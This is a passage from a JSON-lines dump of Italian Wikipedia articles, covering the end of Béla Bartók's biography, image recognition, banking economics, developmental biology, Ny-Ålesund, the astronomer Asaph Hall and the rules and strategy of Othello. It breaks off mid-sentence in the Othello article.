fortemente ai nazisti. Dopo che ebbero preso il potere in Germania, non vi tenne pi\u00f9 concerti e lasci\u00f2 il suo editore tedesco. Le sue vedute liberali (che sono evidenti nell'opera \"Il castello di Barbabl\u00f9\" e nel balletto \"Il mandarino meraviglioso\") gli causarono una gran quantit\u00e0 di guai da parte della destra ungherese. Dopo aver spedito i suoi manoscritti all'estero, Bart\u00f3k si trasfer\u00ec con riluttanza negli USA con Ditta P\u00e1sztory alla fine del 1940. P\u00e9ter Bart\u00f3k li raggiunse nel 1942 e pi\u00f9 tardi si arruol\u00f2 nella Marina degli Stati Uniti. B\u00e9la Bart\u00f3k Jr. rimase in Ungheria. Anche se venne accolto con molti onori, Bart\u00f3k non si sent\u00ec mai a suo agio negli USA, e trov\u00f2 molto difficile comporre. Gli venne dato l'incarico di tenere un corso alla Columbia University dove era stato nominato dottore honoris causa ed ebbe la possibilit\u00e0 di tenere molti concerti, anche con la moglie Ditta; egli per\u00f2 non era molto conosciuto in America e c'era poco interesse per la sua musica che venne spesso stroncata. Per qualche tempo ebbe una borsa di studio per lavorare su una collezione di canzoni tradizionali iugoslave, ma la situazione economica della famiglia and\u00f2 sempre peggiorando, cos\u00ec come la salute di Bart\u00f3k che incominciava a manifestare i sintomi della leucemia.\nIl suo ultimo lavoro sarebbe potuto essere il Sesto quartetto per archi, lavoro interessante per la sua tonalit\u00e0 aleggiante e polimodale e per la ricchezza degli assoli di viola e violini in sordina nei movimenti lenti e mesti (vicinanza con altre composizioni come i Contrasti per violino, clarinetto e pianoforte ma anche a modelli come la Grande fuga per quartetto d'archi di Beethoven) se non fosse stato per Serge Koussevitsky che gli commission\u00f2 il \"Concerto per orchestra\", che divenne il lavoro pi\u00f9 popolare di Bart\u00f3k e che risollev\u00f2 le sue finanze; anche se scritto con minor sentimento interiore si pu\u00f2 notare come il compositore abbia molto accentuato gli elementi coloristici e timbrici che ritroviamo anche nel \"Concerto per pianoforte e orchestra n. 3\" (1945), un lavoro arioso e quasi neo-classico, e nel suo incompiuto Concerto per viola e orchestra, completato pi\u00f9 tardi dal suo allievo, Tibor Serly.\nNel Concerto per orchestra Bart\u00f3k mantiene nei cinque movimenti una struttura circolare con una costruzione strutturata a linee di intensit\u00e0 timbrica e atonale con un uso accostato di omofonia e polifonia. Una struttura simile ma rimpicciolita la troviamo nei quartetti (furono anch'essi composizione molto discusse per la loro percussivit\u00e0 e contrapposti per esempio ai limpidi quartetti di \u0160ostakovi\u010d) dove viene proprio definita una struttura ad arco o a ponte.\nB\u00e9la Bart\u00f3k mor\u00ec a New York di leucemia il 26 settembre 1945 in grande povert\u00e0. Le spese del suo funerale furono sostenute totalmente dall'ASCAP, l'Associazione per la protezione dei diritti d'autore. Al suo funerale parteciparono solo dieci persone; tra loro c'erano sua moglie Ditta, il loro figlio P\u00e9ter e il pianista Gy\u00f6rgy S\u00e1ndor, suo allievo e amico. \nFu sepolto al cimitero Ferncliff ad Hartsdale, New York, ma dopo la caduta del comunismo in Ungheria nel 1988, i suoi resti furono portati a Budapest per i funerali di stato il 7 luglio 1988 e in seguito fu sepolto al cimitero Farkasr\u00e9ti di Budapest."}
{"id": "26443", "revid": "104265", "url": "https://it.wikipedia.org/wiki?curid=26443", "title": "Riconoscimento delle immagini", "text": "Il riconoscimento delle immagini \u00e8 un ramo della branca dell'informatica detta \"visione artificiale\" (\"computer vision\" in lingua inglese).\nScopo della \"Visione artificiale\" \u00e8 sviluppare algoritmi e metodologie per la riproduzione automatica o semi-automatica di meccanismi tipici dei sistemi di visione biologici, come ad esempio il nostro sistema visivo o il riconoscimento facciale. Questi comprendono il riconoscimento di forme e di colori, l'estrazione di informazioni spaziali e geometriche, o la capacit\u00e0 di segmentare ed inseguire oggetti in movimento.\nPer il riconoscimento delle immagini in maniera digitale, l'immagine viene trasformata da segnale analogico (di corrente) a valore numerico corrispondente (digitale), memorizzando poi lo stesso in matrice. Un'immagine digitalizzata \u00e8 la trasformazione di un'immagine reale in una corrispondente rappresentazione numerica della stessa. Nella fase di digitalizzazione, l'immagine viene trasformata da punti ottici (pixel) a valori digitali in memoria, con corrispondenza in matrice. Fra il pixel fisico nella matrice del CCD della telecamera ed il relativo valore numerico nella matrice di memoria, non esiste solo una corrispondenza di coordinate, ma anche un rapporto fra luminosit\u00e0 letta dal pixel durante la fase di acquisizione ed il valore digitale memorizzato per lo stesso.\nIn senso ampio, riconoscere l'immagine in maniera automatica significa utilizzare algoritmi che la ricevono in input e sono in grado di estrarre da essa varie informazioni. Le informazioni estratte possono collocarsi su pi\u00f9 livelli: basso livello (come le statistiche sulla presenza dei vari toni di grigio o colori, sui bruschi cambiamenti di luminosit\u00e0, ecc.); livello intermedio (caratteristiche relative a regioni dell'immagine e a relazioni tra regioni) o ad alto livello (determinazione di oggetti con valenza semantica).\nEsistono sistemi in grado di riconoscere due immagini come simili che sono basati unicamente sulla estrazione di caratteristiche di basso livello, mentre sono tuttora oggetto di ricerca algoritmi che siano in grado di dare una interpretazione semantica del contenuto di una immagine, pur ristretti a certi domini."}
{"id": "26447", "revid": "287204", "url": "https://it.wikipedia.org/wiki?curid=26447", "title": "Economia bancaria", "text": "Leconomia bancaria studia il funzionamento del sistema bancario nel suo complesso, che comprende il funzionamento dell'azienda bancaria nelle sue specificit\u00e0 operative ed organizzative e del settore creditizio inteso sia come insieme delle banche sia come settore economico che interagisce con altri settori dell'economia.\nIl sistema bancario assume un ruolo centrale nella vita economica di un paese fornendo credito a imprese, istituzioni pubbliche e singoli cittadini, nonch\u00e9 raccogliendo il risparmio delle famiglie. Pertanto il buon funzionamento dell'economia richiede un sistema efficiente e ben controllato dalle autorit\u00e0 monetarie, al fine di garantire costi inferiori per i servizi bancari e soprattutto per garantire fiducia e credibilit\u00e0 nel sistema dei pagamenti. Senza tale fiducia l'intero sistema dei pagamenti non potrebbe funzionare. \nL'economia bancaria si focalizza quindi sulle funzioni che svolgono le banche, quali principali attori economici di un paese:"}
{"id": "26454", "revid": "7", "url": "https://it.wikipedia.org/wiki?curid=26454", "title": "Economia Bancaria", "text": ""}
{"id": "26456", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26456", "title": "Biologia dello sviluppo", "text": "La biologia dello sviluppo \u00e8 la disciplina della biologia che studia i meccanismi molecolari e fisiologici che controllano le varie fasi embrionali e la formazione di cellule, organi e tessuti differenziati a dare un lento processo costituito da cambiamenti progressivi, chiamato sviluppo.\nDescrizione.\nCon il termine sviluppo si intendono:\nIl termine inteso come branca specifica venne coniato da Paul Weiss e Norman Berrill in uno scambio di lettere in cui si chiedevano come denominare la scienza che contenesse sia l'embriologia sia l'attivit\u00e0 dei geni, la rigenerazione, i movimenti cellulari, ecc.\nLa biologia dello sviluppo usa metodi di biologia cellulare (citologia), genetica, biologia molecolare, biochimica e microscopia, e studia soprattutto alcuni organismi chiamati organismi modello. Un'idea fondante la biologia dello sviluppo \u00e8 infatti che i processi di sviluppo siano governati da principi generali comuni, anche se questi possono non essere tutti rappresentati in un solo organismo. Perci\u00f2 i biologi dello sviluppo utilizzano quegli organismi che meglio illustrano principi comuni: si tratta di un numero relativamente piccolo di animali o di piante, scelti perch\u00e9 convenienti da studiare e adatti alla manipolazione sperimentale e/o all'analisi genetica. Gli organismi modello sono facili da riprodurre, manipolare e osservare durante lo sviluppo. Per esempio \"C. Elegans\" (nematode), il riccio di mare, il moscerino della frutta, il pesce zebra, il rospo africano e il topo; per le piante, \"Arabidopsis thaliana\".\nEventi dello sviluppo.\nGli eventi che caratterizzano lo sviluppo sono:\nFunzioni dello sviluppo.\nGeneralmente vengono attribuite allo sviluppo due funzioni:\nTipologie di sviluppo.\nA seconda del grado di sviluppo dell'organismo che fuoriesce dall'uovo o dal corpo della madre, si distinguono due tipi di sviluppo:\nSviluppo diretto.\nSi verifica quando, a partire dallo zigote, si forma un embrione. L'embrione svilupper\u00e0 progressivamente i caratteri anatomici e funzionali tipici della specie di appartenenza. Dall'uovo o dal corpo della madre emerger\u00e0 un organismo simile all'adulto in miniatura.\nTale sviluppo \u00e8 caratterizzato dalla \"crescita\" dell'organismo, ovvero dall'aumento di massa e di dimensioni di tessuti e organi.\nTale \"crescita\" pu\u00f2 essere di due tipi:\nDi tipo \"armonico\", quando tutte le porzioni dell'organismo aumentano di volume mantenendo inalterate le proprie proporzioni;Di tipo \"disarmonico\", quando alcune porzioni dell'organismo aumentano di volume pi\u00f9 di altre (generalmente la testa diventa meno grande o meno lunga delle gambe, mentre il torace si espande maggiormente rispetto alle altre parti), es: sviluppo post embrionale dell'essere umano.\nLo sviluppo diretto interessa la maggior parte delle specie di vertebrati: rettili, uccelli, mammiferi, e anche alcune specie di invertebrati: molluschi e aracnidi.\nSviluppo indiretto.\nSi verifica quando dall'uovo fuoriesce un organismo molto diverso dall'adulto e impossibilitato a raggiungere la maturit\u00e0 sessuale.Tale organismo, per divenire simile all'adulto e per poter raggiungere la maturit\u00e0 sessuale, deve attraversare un processo di trasformazione chiamato metamorfosi.\nTale sviluppo \u00e8 caratterizzato dalla \"metamorfosi\" dell'organismo, ovvero dal cambiamento radicale nell'anatomia dell'organismo, accompagnata spesso dalla comparsa di nuovi organi, da un cambiamento nel tipo di alimentazione e dall'occupazione di una diversa nicchia ecologica.\nLo sviluppo indiretto interessa la maggioranza delle specie di invertebrati (insetti, crostacei, echinodermi) e anche alcune specie di vertebrati (anfib\u00ee, pesci).\nModalit\u00e0 di sviluppo.\nLe cellule uovo possiedono un preciso programma di accrescimento e organizzazione, e ci\u00f2 \u00e8 reso possibile dall'immagazzinamento di molte molecole utili nelle primissime fasi di sviluppo, denominate generalmente \"determinanti\" o \"fattori\".\nLa maggioranza degli organismi si trova fra due estremi di sviluppo:\nSviluppo a mosaico.\nDetto anche \"sviluppo autonomo\", in questo caso la differenziazione e la specializzazione cellulare dipendono dalla presenza, nel citosol delle cellule, di molecole denominate determinanti citoplasmatici, i quali vengono accumulati nell'uovo durante l'ovogenesi (meccanismo che permette la formazione della cellula uovo).\nLa determinazione cellulare viene stabilita precocemente e dipende dai determinanti citoplasmatici depositati nell'uovo secondo un preciso ordine spaziale.\nI determinanti citoplasmatici, noti anche nella denominazione alternativa di fattori citoplasmatici (es: proteine, RNA), sono disposti in ordine ben preciso. Durante la divisione cellulare questi materiali sono distribuiti in maniera asimmetrica, in parte a una cellula e in parte a un'altra.\nUn modello a mosaico di determinanti conduce all'assegnazione precoce dei compiti e conferisce alle cellule la capacit\u00e0 di procedere indipendentemente le une dalle altre, lungo le proprie strade.\nIl fenotipo cellulare (che definisce se una cellula diverr\u00e0, ad esempio, muscolare od ossea) viene determinato senza rapporto con le cellule vicine, ma a seconda dei determinanti che ogni cellula erediter\u00e0 dalla cellula uovo (specificazione autonoma).\nSviluppo regolativo.\nDetto anche \"sviluppo dipendente\", in questo caso la differenziazione e la specializzazione cellulare dipendono dalle interazioni con le altre cellule.\nIn questa modalit\u00e0 di sviluppo, esse sono in grado di rilevare l'assenza di un'altra cellula e rimpiazzarla.\nLe cellule comunicano mediante segnali, e queste interazioni rendono lo sviluppo dei var\u00ee tipi cellulari dipendente dalle cellule vicine, permettendo anche correzioni regolative nel caso di interferenze potenzialmente dannose.\nL'induzione nello sviluppo.\nDurante il differenziamento cellulare le cellule si diversificano per funzioni e struttura, diventando tipi cellulari distinti, assumendo responsabilit\u00e0 e compiti diversi e intraprendendo vie di sviluppo specifiche.\nVisto che in ogni cellula del corpo sono presenti gli stessi geni, la differenziazione cellulare si basa sull'espressione differenziale di questi ultimi. Affinch\u00e9 ci\u00f2 si possa verificare, taluni geni devono essere spenti, altri accesi, altri ancora modulati, e quando ci\u00f2 accade la cellula si dice \"determinata\".\nLa determinazione \u00e8 una fase precoce dello sviluppo che precede il differenziamento e consiste in un cambiamento stabile nello stato interno di una cellula, tale che il suo destino risulti fissato o determinato. \u00c8 la programmazione, l'assegnazione dei compiti.\nLa determinazione non si associa a un cambiamento evidente nell'aspetto esterno della cellula e si verifica mediante induzione.\nL'induzione \u00e8 quel meccanismo che, tramite l'interazione cellulare, permette alle cellule di differenziarsi e di specializzarsi mediante la comunicazione e lo scambio di segnali con le altre cellule. Questi segnali sono definiti induttori e sono generalmente di tipo chimico o elettrico.\nLe cellule che non subiscono questa programmazione si dicono indifferenziate e possono liberamente specializzarsi in qualsiasi fenotipo cellulare. Tali cellule vengono definite staminali o cellule totipotenti.\nLa scoperta dell'induzione port\u00f2 Hans Spemann a vincere il premio Nobel nel 1935.\nTipologie di induzione.\nPer \"competenza\" s'intende la capacit\u00e0 di rispondere in modo specifico a un determinato stimolo, ovvero a uno specifico segnale induttivo.\nLa competenza pu\u00f2 essere raggiunta mediante:\nSviluppo ed evoluzione.\nNella quasi totalit\u00e0 dei sistemi di sviluppo degli organismi viventi \u00e8 stata dimostrata un'origine comune e una conservazione dei moduli genetici responsabili dei sistemi di sviluppo.\nQueste dimostrazioni supportano l'origine comune dei phyla descritta dalla biologia evolutiva.\nJ.V. Thompson, prima di Darwin, aveva gi\u00e0 dimostrato che le larve dei cirripedi erano quasi identiche alle larve dei granchi, e classificava quindi i cirripedi come artropodi e non come molluschi.\nKowalevsky, nel 1871, riusc\u00ec a dimostrare che le larve dei tunicati posseggono notocorde e che sviluppano il tubo neurale e altri organi in modo molto simile a quello del cordato primitivo anfiosso. I tunicati furono quindi classificati assieme ai cordati.\nMetchnikoff, nel 1891, propose che l'evoluzione non dipendesse da modifiche negli organismi adulti, ma da modifiche negli embrioni:\nE.B. Wilson, osservando la segmentazione a spirale nello sviluppo embrionale di anellidi, molluschi e platelminti, scopr\u00ec che ciascun organo di ognuno di essi deriva dallo stesso gruppo di cellule: per Wilson ci\u00f2 era una chiara dimostrazione dell'origine comune dei phyla.\nIn tempi recenti l'attenzione scientifica si \u00e8 spostata sui geni e sui moduli genici di cui essi fanno parte:\nAd esempio, i moduli genici OTX dei mammiferi (uomo compreso) risultano essere i medesimi utilizzati anche nella formazione della testa degli insetti (\"Drosophila melanogaster\"). Se tali geni vengono soppressi in \"Drosophila melanogaster\", il moscerino non svilupper\u00e0 pi\u00f9 la testa, ma se i moduli genici OTX umani vengono sostituiti a quelli del moscerino, esso svilupper\u00e0 in maniera corretta la testa.\nPertanto, nonostante le chiare differenze anatomiche e fisiologiche fra la drosophila e l'uomo, gli stessi moduli genici sono responsabili della formazione di testa e cervello.\nQuesti moduli vengono pertanto definiti \"omologhi\" o \"conservati\", ovvero non emergono differenze significative nel confronto delle sequenze nucleotidiche e delle funzioni di tali moduli, sebbene essi siano presenti in organismi molto differenti.\nOltre che nello sviluppo di testa e cervello, tali evidenze sono state riscontrate anche nello studio dello sviluppo dell'apparato visivo.\nPer esempio, i moduli genici di pax6 nei mammiferi risultano omologhi dei moduli genici di eyeless/toy di drosophila. Nonostante le profonde differenze nella morfologia, nell'anatomia, nella struttura e nella biochimica, che differenziano la visione degli insetti rispetto a quella dei mammiferi, \u00e8 stato dimostrato che i geni che promuovono lo sviluppo dell'apparato visivo, sia in insetti sia in mammiferi, risultano essere i medesimi.\nTutto ci\u00f2 concorda con l'origine comune dei viventi promossa dalla biologia evolutiva.\nTali scoperte hanno infine promosso la nascita di una nuova disciplina in campo scientifico, definita biologia evolutiva dello sviluppo.\nStoria.\nVisto il campo e l'oggetto di studio occupato dalla biologia dello sviluppo, storicamente essa \u00e8 stata oggetto di ampie dispute e numerosi dibattiti:\nPreformisti e teoria cellulare.\nDurante il periodo storico che va dal 1600 al 1800, a seguito delle opinioni del medico italiano Giuseppe degli Aromatari (1586-1660), prese forma una corrente di pensiero definita preformismo.\nI preformisti ritenevano che il feto, chiamato homunculus, fosse gi\u00e0 presente all'interno dell'ovulo femminile o dello spermatozoo maschile e che il periodo di sviluppo altro non fosse che il progressivo ingrandimento di questo homunculus.\nAlbrecht von Haller (1708-1777) e Charles Bonnet (1720-1793) sostenevano che il feto fosse gi\u00e0 presente all'interno dell'ovulo femminile, e furono tra i pi\u00f9 famosi sostenitori del movimento chiamato ovismo (feto nell'ovulo).\nFran\u00e7ois de Plantade (1670-1741) arriv\u00f2 invece a sostenere di aver visto chiaramente al microscopio un homunculus dibattersi all'interno di uno spermatozoo. Fran\u00e7ois de Plantade fu uno dei pi\u00f9 famosi sostenitori del movimento chiamato animalculisti (feto nello sperma).\nTale questione continu\u00f2 a imperversare, sfociando spesso nella polemica, fino all'elaborazione della teoria cellulare, sulla base della quale fu dimostrato che il nuovo organismo non \u00e8 contenuto all'interno dell'ovulo o dello spermatozoo, bens\u00ec viene generato dalla fusione dei due.\nSolo nel 1876 Oscar Hertwing e Herman Fol dimostrarono empiricamente, e in maniera indipendente l'uno dall'altro, la derivazione dello zigote dalla penetrazione dello spermatozoo nella cellula uovo e dalla fusione dei loro nuclei.\nMorgan, Wilson, Boveri e il controllo dell'ereditariet\u00e0.\nFra il 1800 e il 1900 era ormai appurato che gli organismi si sviluppassero a partire da un uovo fecondato, frutto della fusione fra sperma maschile e ovulo femminile, tuttavia non era chiaro cosa controllasse l'ereditariet\u00e0 e i processi di sviluppo.\nSecondo Morgan (1897) la capacit\u00e0 di un organismo di differenziarsi e accrescersi, dando origine a un adulto, sarebbe a carico del citoplasma dell'ovulo femminile, pertanto i fattori che consentono a un organismo di accrescersi fino alla forma adulta, sarebbero da ricercarsi nel citoplasma della cellula uovo.\nSecondo Wilson (1894-1904) gli elementi in grado di costruire la forma, consentendo lo sviluppo embrionale, andavano invece ricercati nei geni del nucleo cellulare.\nLa disputa fu risolta da Thedor Boveri, il quale, tramite esperimenti sul riccio di mare, riusc\u00ec per primo a dimostrare che ogni cromosoma possiede la propriet\u00e0 di controllare differenti processi vitali.\nCi\u00f2 port\u00f2 alla formulazione dell'attuale teoria cromosomica dell'ereditariet\u00e0, ovvero l'evidenza che l'ereditariet\u00e0 sia a carico dei cromosomi e il controllo dello sviluppo sia di tipo genetico.\nStoria recente.\nDal 1900 a oggi le nuove tecniche di clonazione, unite a quelle di ibridazione, le quali consentono di ottenere rispettivamente cloni e organismi geneticamente modificati, in aggiunta alla questione morale dovuta alla manipolazione degli embrioni, fanno s\u00ec che i dibattiti e le polemiche in seno alla biologia dello sviluppo continuino a essere vive, specialmente sui giornali, distanziandosi dall'aspetto scientifico e sconfinando in questioni morali o religiose.\nGenecentrismo ed Evo-Devo.\nLe evidenze sperimentali fino al 1980 hanno rivestito l'unit\u00e0 del gene come unica depositaria dell'informazione contenuta in ogni organismo, e quindi come unica unit\u00e0 morfofunzionale (unit\u00e0 che genera le caratteristiche anatomiche e le funzioni di ogni organismo), regolatrice e operante dei processi di sviluppo, evoluzione, processi patologici, fisiologici, ecc.Tale visione del gene fu definita \"genecentrica\".\nIntorno al 1990, evidenze scientifiche hanno generato una nuova disciplina biologica, definita biologia evolutiva dello sviluppo: l'unit\u00e0 genica non viene pi\u00f9 vista come l'unit\u00e0 principale sulla quale operano i processi di sviluppo e di evoluzione, e maggior peso viene dato alle reti e alle interazioni del genoma (ovvero l'assetto completo di tutto il DNA contenuto in una cellula).La nascita di tale disciplina si deve soprattutto alle influenze che la biologia evolutiva ha operato nel settore scientifico e alla progressiva fusione fra le competenze e le conoscenze della biologia dello sviluppo e della biologia evolutiva."}
{"id": "26460", "revid": "120840977", "url": "https://it.wikipedia.org/wiki?curid=26460", "title": "Ny-\u00c5lesund", "text": "Ny-\u00c5lesund (letteralmente \"Nuova \u00c5lesund\") \u00e8 un insediamento situato nel nord-ovest dell'isola di Spitsbergen, la pi\u00f9 estesa dell'arcipelago delle Svalbard (Norvegia), popolato da circa 200 abitanti in estate e soltanto 30 in inverno, per lo pi\u00f9 ricercatori scientifici. \u00c8 raggiungibile in nave durante il periodo estivo e in motoslitta (6 ore da Longyearbyen) durante il periodo invernale, oppure con collegamento aereo da Longyearbyen tramite un servizio intrasettimanale di un piccolo aereo oltre all'elicottero.\nL'abitato \u00e8 circondato da un limite convenzionale che \u00e8 possibile oltrepassare solo armati in modo idoneo, vista la concreta possibilit\u00e0 di imbattersi nell'orso polare.\nGeografia fisica.\nTerritorio.\n\u00c8 situata sulla penisola di Br\u00f8ggerhalv\u00f8ya, in quella che un tempo era conosciuta come Baia del Re; da qui part\u00ec Nobile per la sua spedizione in dirigibile, qui Amundsen fiss\u00f2 la sua base preferita per le avventure polari; in suo ricordo \u00e8 stato eretto un busto nella \"piazza\" del paese. Essendo situata oltre il 78\u00ba parallelo nord, Ny-\u00c5lesund vanta molti record: ad esempio ospita l'ufficio postale pi\u00f9 a nord del mondo, cos\u00ec come l'albergo. Non vi sono anziani, n\u00e9 bambini.\nVicino all'insediamento \u00e8 presente la montagna Zeppelinfjellet.\nL'area \u00e8 sede di un osservatorio scientifico di estrema importanza sia per i geologi, sia per i meteorologi: sulla collina che si erge dietro all'abitato infatti funziona perennemente una postazione meteo tra le pi\u00f9 importanti al mondo; tale postazione continua ad offrire dati rilevanti sulle variazioni climatiche e sull'inquinamento del pianeta. Sulla \"Zeppelin station\" \u00e8 posta pure una web cam assolutamente panoramica, soprattutto nelle prime ore del giorno durante i periodi tra maggio e settembre.\nTra le basi scientifiche di diversi paesi presenti, vi \u00e8 anche l'italiana Base artica Dirigibile Italia, in onore alle imprese di Umberto Nobile, e gestita dal Consiglio Nazionale delle Ricerche. Nel settembre 2009 \u00e8 stata inaugurata dal Presidente del Dipartimento Terra e Ambiente del CNR la Amundsen-Nobile Climate Change Tower, per lo studio del bilancio di energia alla superficie.\nClima.\nDi clima tendenzialmente artico, il fiordo che bagna Ny-\u00c5lesund si sgela piuttosto rapidamente (circa a met\u00e0-fine maggio) per via della corrente norvegese, derivazione di quella del Golfo, che raggiunge proprio quest'area dell'isola di Spitzbergen mitigandone il clima, ma rendendolo anche estremamente instabile e nebbioso.\nIl sole di mezzanotte illumina il villaggio per circa 4 mesi e mezzo. Il sole sorge alle 02:27 del 15 aprile e non tramonta fino alle 00:48 del 27 agosto. Il sole di mezzanotte \u00e8 per\u00f2 visibile ancora una volta il giorno successivo, il 28 agosto, tramontando subito dopo alle 00:10.\nLa notte polare scende invece su Ny-\u00c5lesund il 24 ottobre. Il sole tramonta alle 13:28 risorgendo alle 11:29 del 18 febbraio.\nInfrastrutture e trasporti.\nL'abitato \u00e8 collegato al resto della nazione tramite l'aeroporto di Ny-\u00c5lesund."}
{"id": "26464", "revid": "28057", "url": "https://it.wikipedia.org/wiki?curid=26464", "title": "Asaph Hall", "text": "Determin\u00f2 le orbite di satelliti di altri pianeti e di stelle doppie, la rotazione di Saturno e la massa di Marte.\nBiografia.\nNel 1856 Hall inizi\u00f2 a lavorare all'Harvard College Observatory di Cambridge, nel Massachusetts, divenendo un esperto nel calcolo delle orbite. Hall divenne assistente astronomo allo United States Naval Observatory, a Washington nel 1862, ed entro un anno dal suo arrivo fu nominato professore.\nNel 1875 Hall divenne responsabile di un telescopio da 66 cm, il pi\u00f9 grande telescopio rifrattore esistente al mondo a quel tempo. Not\u00f2 una macchia chiara su Saturno e la utilizz\u00f2 per misurare il periodo di rotazione del pianeta. Nel 1884 dimostr\u00f2 che Iperione, una delle lune di Saturno, mostrava un'orbita retrograda di circa 20\u00b0 all'anno. Hall lavor\u00f2 anche sulla parallasse stellare e sulla posizione delle stelle nell'ammasso delle Pleiadi.\nNel 1879 gli fu assegnata la Medaglia d'Oro della Royal Astronomical Society."}
{"id": "26466", "revid": "550776", "url": "https://it.wikipedia.org/wiki?curid=26466", "title": "Othello (gioco)", "text": "Othello (anche detto Reversi) \u00e8 un gioco da tavolo astratto a informazione perfetta, per due giocatori.\n\"Reversi\" e \"Othello\".\n\"Reversi\", inventato da Lewis Waterman nel 1880, \u00e8 l'antesignano del gioco di \"Othello\" che \u00e8 stato brevettato nel 1971 da Gor\u014d Hasegawa. I due giochi differiscono solo nella configurazione iniziale dell'othelliera: vuota per Reversi, con il preventivo posizionamento di quattro pedine in una configurazione a X per \"Othello.\" Othello prevede anche che l'othelliera (la scacchiera dedicata per il gioco) sia di colore verde, con quattro piccoli cerchi di riferimento sulle diagonali a distanza di due caselle dagli angoli. Ci\u00f2 non \u00e8 sempre vero nel caso di Reversi.\nOthello \u00e8 un nome brevettato e per questo motivo molte versioni elettroniche o fisiche del gioco detengono la denominazione libera Reversi.\nEsistono numerose federazioni nazionali e tornei ufficiali nazionali ed internazionali, compreso un campionato del mondo, tutti facenti riferimento al nome Othello.\nNotazione.\nPer descrivere lo svolgimento del gioco, ogni casella \u00e8 individuata da una coppia riga-colonna. Partendo dall'alto, le righe sono numerate dall'uno all'otto mentre, da sinistra a destra, le colonne sono invece individuate dalle prime otto lettere dell'alfabeto. La notazione \u00e8 simile a quella degli scacchi dove per\u00f2 la numerazione delle colonne parte dalla riga in basso invece che da quella in alto.\nNel prosieguo del gioco pu\u00f2 essere utile individuare alcune caselle con delle caratteristiche particolari, a questo proposito le caselle sul bordo, ad eccezione di quelle nell'angolo sono chiamate nell'ordine con le lettere: \"C\", \"A\", \"B\", \"B\", \"A\", \"C\". Le 4 caselle all'incrocio delle caselle \"C\" prendono, per concludere, il nome \"X\" (vedi Othelliera n. 2), anche a ricordare l'inopportunit\u00e0 di occupare queste quattro posizioni che danno all'avversario l'indubbio vantaggio di accedere agli angoli.\nLe regole.\nLe regole per giocare una partita di \"Othello\" sono semplici.\nGli strumenti essenziali per giocare una partita sono le pedine (o dischi) e l'othelliera. I giocatori dispongono di 64 dischi bicolori (neri da un lato, bianchi dall'altro) ed il terreno di gioco \u00e8 costituito da una tavola quadrata di 8 x 8 caselle di colore uniforme.\nPrima di iniziare a giocare si posizionano due pedine bianche e due nere nelle quattro caselle centrali dell'othelliera in modo da creare una configurazione a X, orientata come nella figura.\nSi muove alternatamente (inizia il nero) appoggiando una nuova pedina in una casella vuota in modo da \"imprigionare\", tra la pedina che si sta giocando e quelle del proprio colore gi\u00e0 presenti sulla scacchiera, una o pi\u00f9 pedine avversarie. Per imprigionare si intende chiudere con la propria mossa il lato opposto ancora libero di una pedina o di una intera linea/sequenza di pedine avversarie; tale pedina o sequenza doveva essere gi\u00e0 contigua ed allineata ad una nostra pedina, secondo la mossa corrente e secondo le direzioni valide che sono specificate pi\u00f9 avanti nel paragrafo. A questo punto le pedine imprigionate devono essere rovesciate e diventano di propriet\u00e0 di chi ha eseguito la mossa. \u00c8 possibile catturare pedine in orizzontale, in verticale e in diagonale e, a ogni mossa, pu\u00f2 accadere che si girino pedine in pi\u00f9 di una direzione. La cattura avviene sempre in linea retta.\nSono ammesse solo le mosse con le quali si gira almeno una pedina, in mancanza di mosse il giocatore salta il turno. Non \u00e8 possibile passare il turno se esiste almeno una mossa valida.\nQuando nessuno dei giocatori ha la possibilit\u00e0 di muovere o quando (pi\u00f9 frequentemente) l'othelliera \u00e8 piena, si contano le pedine e si assegna la vittoria a chi ne ha il maggior numero.\nLe regole sono tutte qui e non \u00e8 difficile apprendere quelle poche nozioni di strategia necessarie per giocare una buona partita.\nNonostante la semplicit\u00e0 delle regole, l\"'Othello\" \u00e8 un gioco strategicamente e tatticamente molto profondo e pu\u00f2 essere padroneggiato solo con lungo impegno.\nL'apertura.\nData la simmetria dell'othelliera le quattro possibili mosse del nero sono in realt\u00e0 equivalenti. La prima vera mossa che caratterizza la partita \u00e8 quella del bianco che ha a disposizione tre diverse scelte. Nelle othelliere numero 5, 6 e 7 sono riportate le tre scelte possibili a partire dalla mossa riportata nell'othelliera numero 4. Le aperture \"diagonale\" e \"perpendicolare\" sono comunemente usate nei tornei ufficiali mentre l'apertura \"parallela\" \u00e8 poco usata in quanto considerata svantaggiosa.\nStrategia.\nUn giocatore che ha appena appreso le regole dell\"'Othello\" tende istintivamente a trasformare l'obiettivo finale della partita, avere pi\u00f9 dischi dell'avversario, in una strategia valida mossa per mossa: cerca di massimizzare ad ogni mossa il numero di dischi capovolti.\nTuttavia, questa strategia si dimostra spesso perdente contro un avversario appena pi\u00f9 esperto che conosce l'importanza di altri concetti di base come angoli e mobilit\u00e0.\nLa strategia generale dell'Othello pu\u00f2 essere riassunta in 4 concetti fondamentali:\nQuesti concetti assumono diverso peso relativo nelle diverse fasi della partita e la valutazione di tali pesi costituisce uno dei principali punti di forza dei giocatori pi\u00f9 abili.\nLe pedine stabili.\nUn disco posato in un angolo non pu\u00f2 essere in alcun modo capovolto. Le pedine che non possono essere capovolte dall'avversario si dicono \"stabili\". Si pu\u00f2 notare che, dopo aver conquistato un angolo, le pedine dello stesso colore ad esso adiacenti su uno dei due lati diventano anch'esse stabili, fino alla fine della partita. Un esempio di pedine stabili \u00e8 rappresentato nell'othelliera 8, dove attorno all'angolo A1 altre 4 pedine nere garantiscono al nero un totale di 5 punti finali.\nL'angolo costituisce quindi un importante obiettivo strategico, ciononostante gli angoli costituiscono solo 4 dei 64 punti che i giocatori si spartiscono a fine partita, devono quindi essere visti pi\u00f9 come strumento per la conquista di altre pedine stabili che per il fatto di essere loro stessi pedine stabili.\nPer costringere l'avversario a 'cedere' un angolo, ovvero a consentirci di giocare nell'angolo, \u00e8 necessario che l'avversario abbia, come condizione necessaria ma non sufficiente, una pedina adiacente ad un angolo vuoto, in particolar modo una pedina in casella C o X come indicato nell'othelliera 2. Si vedr\u00e0 poi con l'esperienza che le caselle X sono particolarmente pericolose proprio per la loro debolezza nel consentire l'accesso all'angolo all'avversario.\nL'angolo e le pedine stabili sono quindi un importante \"obiettivo\" strategico, da ottenere tramite l'uso dei principi tattici che verranno analizzati nei prossimi paragrafi.\nMobilit\u00e0.\nIn molti giochi di tavoliere, poter scegliere al proprio turno tra molte mosse diverse costituisce un vantaggio. \"Othello\" non fa eccezione; inoltre, a differenza di altri giochi, nell'\"Othello\" le pedine non vengono mosse ma aggiunte, riempiendo il tavoliere fino alla saturazione. Questo fa s\u00ec che avvicinandosi 